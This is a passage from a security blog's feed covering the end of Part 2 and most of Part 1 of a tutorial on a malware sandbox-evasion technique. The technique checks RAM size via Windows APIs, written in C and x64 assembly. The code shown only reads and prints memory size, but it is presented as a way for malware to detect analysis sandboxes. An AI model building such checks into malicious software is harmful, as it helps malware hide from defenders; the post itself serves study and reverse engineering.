&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;sub&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;32&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="c1"&gt;; Reserve shadow space&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;printf&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;add&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;32&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="c1"&gt;; Release shadow space&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;add&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x40&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;; Release space of struct from stack&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;xor&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;ExitProcess&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2 id="conclusion"&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;Over the past two blog posts, we've learned how to use &lt;code&gt;GlobalMemoryStatusEx&lt;/code&gt; and &lt;code&gt;GetPhysicallyInstalledSystemMemory&lt;/code&gt; to determine the size of the RAM of a machine. We've also learned about using the stack to pass arguments to functions using x64 assembly.&lt;/p&gt;
&lt;p&gt;In future posts I plan to continue exploring malware behavior and techniques and at the same time teach x64 assembly so that we can both improve when writing and reverse engineering malware.&lt;/p&gt;
&lt;p&gt;Until then, you can view the C and Assembly code along with the build scripts for this evasion technique on this repository &lt;a href="https://github.com/accidentalrebel/sandbox-evasion-by-checking-ram-size"&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Feel free to reach out to me on &lt;a href="https://twitter.com/accidentalrebel"&gt;Twitter&lt;/a&gt; or &lt;a href="https://www.linkedin.com/in/juan-karlo-licudine/"&gt;LinkedIn&lt;/a&gt; for any questions or comments.&lt;/p&gt;
&lt;p&gt;For another x64 assembly evasion technique in this series, see &lt;a href="https://www.accidentalrebel.com/string-av-evasion-in-x64-assembly-part-1.html"&gt;String AV Evasion in x64 Assembly&lt;/a&gt;.&lt;/p&gt;</content><category term="misc"/><category term="malware"/><category term="sandbox"/><category term="evasion"/><category term="x64"/><category term="assembly"/></entry><entry><title>Malware sandbox evasion in x64 assembly by checking ram size - Part 1</title><link href="https://www.accidentalrebel.com/malware-sandbox-evasion-in-x64-assembly-by-checking-ram-size-part-1.html" rel="alternate"/><published>2022-08-08T11:29:00+08:00</published><updated>2022-08-08T11:29:00+08:00</updated><author><name>AccidentalRebel</name></author><id>tag:www.accidentalrebel.com,2022-08-08:/malware-sandbox-evasion-in-x64-assembly-by-checking-ram-size-part-1.html</id><summary type="html">&lt;p&gt;Implementing the malware sandbox evasion technique of checking RAM size using GetPhysicallyInstalledSystemMemory, converted from C to x64 Windows assembly.&lt;/p&gt;</summary><content type="html">&lt;p&gt;During my malware sandbox evasion research, I stumbled upon the &lt;a href="https://unprotect.it/"&gt;Unprotect Project&lt;/a&gt; website. It is a community-contributed repository of evasion techniques used by malware. I saw that the the &lt;a href="https://unprotect.it/technique/checking-memory-size/"&gt;Checking Memory Size technique&lt;/a&gt; doesn't have a example snippet yet so I figured this would be a good first contribution to the project.&lt;/p&gt;
&lt;p&gt;&lt;img alt="malware-sandbox-evasion-in-x64-assembly-by-checking-ram-size-part-1-03" src="https://www.accidentalrebel.com/images/malware-sandbox-evasion-in-x64-assembly-by-checking-ram-size-part-1-03.png" /&gt;&lt;/p&gt;
&lt;h2 id="what-to-expect"&gt;What to expect&lt;/h2&gt;
&lt;p&gt;In this blog post I'll be making a code snippet that showcases how to get the size of a computer's RAM in C. I will then convert this code into x64 assembly, mostly for me to practice writing in it, but also so that we can understand it better.&lt;/p&gt;
&lt;h2 id="checking-the-memory"&gt;Checking the memory&lt;/h2&gt;
&lt;p&gt;The idea behind this evasion technique is simple. Most modern user machines will have at least around 4GB of RAM. Anything lower than that can be an indication that the machine is probably a sandbox (To save costs). While it's not exactly fool-proof, it can be used with &lt;a href="https://unprotect.it/category/sandbox-evasion/"&gt;other techniques&lt;/a&gt; to have a better idea of the machine.&lt;/p&gt;
&lt;p&gt;There are two available APIs to get the memory size of a computer on Windows: &lt;code&gt;GetPhysicallyInstalledSystemMemory&lt;/code&gt; and &lt;code&gt;GlobalMemoryStatusEx&lt;/code&gt;. &lt;a href="https://docs.microsoft.com/en-us/windows/win32/api/sysinfoapi/nf-sysinfoapi-getphysicallyinstalledsystemmemory"&gt;The former&lt;/a&gt; lists the physically &lt;em&gt;installed&lt;/em&gt; RAM from the BIOS, while &lt;a href="https://docs.microsoft.com/en-us/windows/win32/api/sysinfoapi/nf-sysinfoapi-globalmemorystatusex"&gt;the latter&lt;/a&gt; lists the amount available for the operating system to use. Note that the values returned from these two functions will be different but from my tests the difference is only a few hundreds of bytes. Any of these two we can use for our purpose.&lt;/p&gt;
&lt;h2 id="using-getphysicallyinstalledsystemmemory"&gt;Using GetPhysicallyInstalledSystemMemory&lt;/h2&gt;
&lt;p&gt;Calling &lt;code&gt;GetPhysicallyInstalledSystemMemory&lt;/code&gt; in C is simple:&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="cp"&gt;#include&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cpf"&gt;&amp;lt;stdio.h&amp;gt;&lt;/span&gt;
&lt;span class="cp"&gt;#include&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cpf"&gt;&amp;lt;windows.h&amp;gt;&lt;/span&gt;

&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;unsigned&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;long&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;long&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;memory_size&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;GetPhysicallyInstalledSystemMemory&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;memory_size&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Memory size: %lld&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;memory_size&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Running the above code shows the following result:&lt;/p&gt;
&lt;p&gt;&lt;img alt="malware-sandbox-evasion-in-x64-assembly-by-checking-ram-size-part-1-01" src="https://www.accidentalrebel.com/images/malware-sandbox-evasion-in-x64-assembly-by-checking-ram-size-part-1-01.png" /&gt;&lt;/p&gt;
&lt;p&gt;And this is what my memory settings is set to on VMWare:&lt;/p&gt;
&lt;p&gt;&lt;img alt="malware-sandbox-evasion-in-x64-assembly-by-checking-ram-size-part-1-02" src="https://www.accidentalrebel.com/images/malware-sandbox-evasion-in-x64-assembly-by-checking-ram-size-part-1-02.png" /&gt;&lt;/p&gt;
&lt;p&gt;You'll immediately notice that the returned value is not exactly the same as the memory settings. I, too, wondered about this so I did a couple of tests.&lt;/p&gt;
&lt;h2 id="investigating-the-results"&gt;Investigating the results&lt;/h2&gt;
&lt;p&gt;What I found was that the values that are returned by the &lt;code&gt;GetPhysicallyInstalledSystemMemory&lt;/code&gt; in hex format always have the last 3 bytes set to zero. To test this I changed the VM settings and noted the values returned by the program. Here's a table of the results:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: center;"&gt;VM Settings&lt;/th&gt;
&lt;th style="text-align: center;"&gt;Returned Value&lt;/th&gt;
&lt;th style="text-align: center;"&gt;In Hex&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: center;"&gt;2000MB&lt;/td&gt;
&lt;td style="text-align: center;"&gt;2048000&lt;/td&gt;
&lt;td style="text-align: center;"&gt;0x1F4000&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: center;"&gt;3324MB&lt;/td&gt;
&lt;td style="text-align: center;"&gt;3403776&lt;/td&gt;
&lt;td style="text-align: center;"&gt;0x33F000&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: center;"&gt;4096MB&lt;/td&gt;
&lt;td style="text-align: center;"&gt;4194304&lt;/td&gt;
&lt;td style="text-align: center;"&gt;0x400000&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: center;"&gt;4338MB&lt;/td&gt;
&lt;td style="text-align: center;"&gt;4493312&lt;/td&gt;
&lt;td style="text-align: center;"&gt;0x449000&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: center;"&gt;5675MB&lt;/td&gt;
&lt;td style="text-align: center;"&gt;5816320&lt;/td&gt;
&lt;td style="text-align: center;"&gt;0x58C000&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Before you think that this is a VM thing, here is the same behavior with a Windows system that is not on a VM:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: center;"&gt;Installed RAM&lt;/th&gt;
&lt;th style="text-align: center;"&gt;Returned Value&lt;/th&gt;
&lt;th style="text-align: center;"&gt;In Hex&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: center;"&gt;16384MB&lt;/td&gt;
&lt;td style="text-align: center;"&gt;16777216&lt;/td&gt;
&lt;td style="text-align: center;"&gt;0x1000000&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;According to the &lt;a href="https://docs.microsoft.com/en-us/windows/win32/api/sysinfoapi/nf-sysinfoapi-getphysicallyinstalledsystemmemory"&gt;MSDN docs&lt;/a&gt;, the value returned is taken from the SMBIOS firmware tables. I tried to dig further and found the &lt;a href="https://www.dmtf.org/sites/default/files/standards/documents/DSP0134_3.5.0.pdf"&gt;SMBIOS standard manual&lt;/a&gt; and saw that the value in the memory size field is returned in MB. This still doesn't explain why the last 3 digits are always zero though. I'm guessing that the API just truncates the last 3 values and saves the higher bytes?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;EDIT(2022-08-15):&lt;/strong&gt; Twitter user &lt;a href="https://twitter.com/Endeavxor"&gt;@Endeavxor&lt;/a&gt; pointed out that the returned value of "GetPhysicallyInstalledSystemMemory" is expressed in kibibytes instead of kilobytes. This means the result &lt;code&gt;4194304&lt;/code&gt; when divided by &lt;code&gt;1024&lt;/code&gt; is &lt;code&gt;4096&lt;/code&gt; and is exactly the Memory value set in the VM settings. This means the value returned by the function is correct. It's so simple and I missed it!&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Before we get hopelessly trapped in the rabbit hole that is OS internals, let's continue by converting our code above to x64 assembly.&lt;/p&gt;
&lt;h2 id="converting-to-x64-assembly"&gt;Converting to x64 Assembly&lt;/h2&gt;
&lt;p&gt;Before we can call the &lt;code&gt;GetPhysicallyInstalledSystemMemory&lt;/code&gt; function, we first need to reserve space on the stack that will serve as the &lt;code&gt;memory_size&lt;/code&gt; local variable. This is where the result of the function will be placed.&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;xor&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;; Clear rax&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;push&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;; Push rax to the stack&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;lea&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;; Argument 1; Load the memory location of memory_size to rcx&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;We then call the &lt;code&gt;GetPhysicallyInstalledSystemMemory&lt;/code&gt; function making sure that we reserve and release the shadow space.&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;sub&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;32&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="c1"&gt;; Reserve shadow space&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;GetPhysicallyInstalledSystemMemory&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;add&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;32&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="c1"&gt;; Release shadow space&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3 id="aside-shadow-space"&gt;Aside: Shadow space&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;The concept of "Shadow Space" is important in x64 assembly. I've already discussed it briefly in a &lt;a href="https://www.accidentalrebel.com/converting-a-malware-dropper-to-x64-assembly.html"&gt;previous post&lt;/a&gt; but you can read up more about it &lt;a href="https://retroscience.net/x64-assembly.html"&gt;here&lt;/a&gt; and then &lt;a href="https://devblogs.microsoft.com/oldnewthing/20160623-00/?p=93735"&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The result on whether &lt;code&gt;GetPhysicallyInstalledSystemMemory&lt;/code&gt; succeeded or not is placed in the &lt;code&gt;ax&lt;/code&gt; register. It's good practice to add code to handle if a failure occurs, but we won't be bothering with that for our example.&lt;/p&gt;
&lt;p&gt;What we are interested in is the value placed in the memory location pointed to by &lt;code&gt;memory_size&lt;/code&gt;. We can confirm this by checking the value on the stack, as shown below where &lt;code&gt;58C000h&lt;/code&gt; converts to &lt;code&gt;5816320&lt;/code&gt; which is roughly near the &lt;code&gt;5.5 GB&lt;/code&gt; setting we have set in VMWare.&lt;/p&gt;
&lt;p&gt;&lt;img alt="malware-sandbox-evasion-in-x64-assembly-by-checking-ram-size-part-1-04" src="https://www.accidentalrebel.com/images/malware-sandbox-evasion-in-x64-assembly-by-checking-ram-size-part-1-04.png" /&gt;&lt;/p&gt;
&lt;p&gt;A much easier way to confirm is that we can also use the &lt;code&gt;printf&lt;/code&gt; function to display the value of &lt;code&gt;memory_size&lt;/code&gt; on the console. But before we can do that we first need to declare the &lt;code&gt;format&lt;/code&gt; string so we can pass it later as the first argument.&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nf"&gt;segment&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;.data&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;msg_memory_size&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;db&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="no"&gt;Memory&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;size&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;%lld&lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0xd&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0xa&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;We then call &lt;code&gt;printf&lt;/code&gt; making sure we load the correct argument data to the respective registers.&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="c1"&gt;; Argument 2; Result of GetPhysicallyInstalledSystemMemory&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;lea&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;msg_memory_size&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;; Argument 1; Format string&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;sub&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;32&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="c1"&gt;; Reserve shadow space&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;printf&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;add&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;32&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="c1"&gt;; Release shadow space&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Running that we can now display the value of the memory.&lt;/p&gt;
&lt;p&gt;Here's the full assembly code:&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;bits&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;64&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;default&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rel&lt;/span&gt;

&lt;span class="nf"&gt;segment&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;.data&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;msg_memory_size&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;db&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="no"&gt;Memory&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;size&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;%lld&lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0xd&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0xa&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;

&lt;span class="nf"&gt;segment&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;.text&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;global&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;main&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;extern&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ExitProcess&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;extern&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;GetPhysicallyInstalledSystemMemory&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;extern&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;printf&lt;/span&gt;

&lt;span class="nl"&gt;main:&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;push&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;rbp&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rbp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;xor&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;; Clear rax&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;push&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="c1"&gt;; Push RAX to the stack&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;lea&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;; Argument 1; Load the memory location of memory_size to rcx&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;sub&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;32&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="c1"&gt;; Reserve shadow space&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;GetPhysicallyInstalledSystemMemory&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;add&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;32&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="c1"&gt;; Release shadow space&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;; Argument 2; Result of GetPhysicallyInstalledSystemMemory&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;lea&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;msg_memory_size&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;; Argument 1; Format string&lt;/span&gt;
